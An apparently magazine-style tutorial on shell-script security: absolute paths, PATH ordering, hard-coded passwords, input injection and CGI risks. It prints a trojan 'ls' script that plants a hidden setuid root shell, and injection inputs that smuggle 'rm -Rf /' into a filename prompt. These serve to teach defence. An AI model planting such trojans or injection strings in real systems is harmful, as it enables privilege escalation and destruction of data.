Writing Secure Shell Scripts
Don't expose your system with sloppy scripts!
Although a Linux desktop or server is less susceptible to viruses and malware than a typical Windows device, there isn't a device on the internet that isn't eventually attacked. The culprit might be the stereotypical nerd in a bedroom testing his or her hacker chops (think Matthew Broderick in War Games or Angelina Jolie in Hackers). Then again, it might be an organized military, criminal, terrorist or other funded entity creating massive botnets or stealing millions of credit cards via a dozen redirected attack vectors.
In any case, modern systems face threats that were unimaginable in the early days of UNIX development and even in the first few years of Linux as a hobbyist reimplementation of UNIX. Ah, back in the day, the great worry was about copyrighted code, and so useful tools constantly were being re-implemented from scratch to get away from the AT&T Bell Labs licenses and so forth.
I have personal experience with this too. I rewrote the Hunt the
Wumpus game
wumpus
from scratch for BSD 4.2 when the Berkeley crowd was trying to get
away from AT&T UNIX legal hassles. I know, that's not the greatest claim to fame,
but I also managed to cobble together a few other utilities in my time too.
Evolution worked backward with the internet, however. In real life, the lawless Wild West was gradually tamed, and law-abiding citizens replaced the outlaws and thugs of the 1850s and the Gold Rush. Online, it seems that there are more, smarter and better organized digital outlaws than ever.
Which is why one of the most important steps in learning how to write shell scripts is to learn how to ensure that your scripts are secure—even if it's just your own home computer and an old PC you've converted into a Linux-based media server with Plex or similar.
Let's have a look at some of the basics.
Know the Utilities You Invoke
Here's a classic trojan horse attack: an attacker drops a script called
ls
into /tmp, and it simply checks to see the userid that invoked it, then hands
off its entire argument sequence to the real /bin/ls. If it recognizes userid
= root, it makes a copy of /bin/sh into /tmp with an innocuous name, then
changes its permission to setuid root.
This is super easy to write. Here's a version off the top of my head:
#!/bin/sh
if [ "$USER" = "root" ] ; then
/bin/cp /bin/sh /tmp/.secretshell
/bin/chown root /tmp/.secretshell
/bin/chmod 4666 root /tmp/.secretshell
fi
exec /bin/ls $*
I hope you understand what just happened. This simple little script has created a shell that always grants its user root access to the Linux system. Yikes. Fancier versions would remove themselves once the root shell has been created, leaving no trace of how this transpired.
Because irony should be, well, ironic, I demonstrate above how to avoid this
danger within the little trojan horse script. Never invoke programs by just
their name; make sure you include their path. A script that has ls
$HOME
is
begging for trouble, so fix it with /bin/ls $HOME
instead.
An interesting additional place this risk can appear is in your PATH. Again, imagine if your PATH is set like this:
PATH=".:/bin:/usr/bin:$HOME/bin:/usr/local/bin"
95% of the time, that's no problem, and an invocation to ls
or
cp
or even
date
will do just what you expect by failing to be found in the first
directory in your PATH and so cascading down to /bin where the legit binary
is stored. But what happens if you happen to be in /tmp when you invoke the
command? Without realizing it, you actually invoke the trojan version and
have created that root shell again (if you were root at the time, of course).
Solution: either never have dot as a directory in your PATH (my recommendation) or have it as the last entry in the chain, not the first.
Don't Store Passwords in Scripts
I admit, I'm not the best at this because I have some aliases that
actually push passwords into my copy/paste buffer and then invoke an
ssh
or
sftp
connection to a remote computer. It's a dumb solution because it
rather inevitably means that I have a shell script—or aliases file, in this
case—that has lines like this:
PASSWORD="froBOZ69"
Or like this:
alias synth='echo secretpw | pbcopy; sftp adt@wsynth.net'
Solution: just don't do this. If you must, well, then at least don't use such a ridiculously obvious (and easy to identify during a scan) variable name. But really, find an alternative utility to accomplish the job, it's not worth the security risk.
Beware of Invoking Anything the User InputsThis is a subtle one, but there's a big security risk in a simple sequence like the following:
echo -n "What file do you seek? "
read name
ls -l $name
What happens if the user enters something malicious like this as the filename:
. ; /bin/rm -Rf /
Quite dire consequences, whether the script is being invoked as root or just a regular user. Bash has some level of protection if you quote the argument, so the earlier sequence would be protected with the change to:
/bin/ls -l "$name"
But, if it's invoked as eval /bin/ls -l "$name"
, that doesn't
apply. Oh, and there's also the infamous backticks. Imagine user input
like this:
. `/bin/rm -Rf /`
This is another risky one because the ``
pair is the lazy
shortcut to $( )
and invokes a subshell when it's encountered on the command line. The
invocation of ls
will be performed by just such a shell too.
To fix this danger, if you have reason to believe that your script might have malicious users, scan and scrub your input. Easy solution: error out if you encounter a character that's not alphanumeric or a small set of safe punctuation marks.
Don't Use Shell Scripts for CGI ScriptsRunning a Linux web server and learning about CGI scripts? It's not only tempting to use shell scripts for basic CGI functions, it's quick and easy too. Here's a script that tells you the load on the server:
#!/bin/sh
echo "Content-type: text/html"; echo ""
echo "Uptime on the Server:<pre>"
uptime -a
echo "</pre>"
This'll work fine once you get the permissions set properly. It's not too dangerous, but what if you wanted to do something similar as a home-grown search system for your site? Again, any time you have a script that runs with input from an unknown user, you've added some major risk factors.
In this case, the solution is don't do it. Use a compiled program instead that can implement safe and proper security or just use a third-party search system like Google Custom Search Engine to be maximally safe.
Be Smart about Your CodingThere are lots of reasons to love programming in the Linux shell, not the least of which is that it's fast and easy to prototype. But if you're really going to create a safe computing environment, you need to focus on security as you go, not realize after the fact that you did something dumb.
Some good online resources cover these topics in more depth. Check out the Shell Style Guide on GitHub to get started. Also, Apple has a document on shell script security that's also well worth a read.
Be careful out there! A little extra time making sure your scripts are safe from major known risks is time well spent.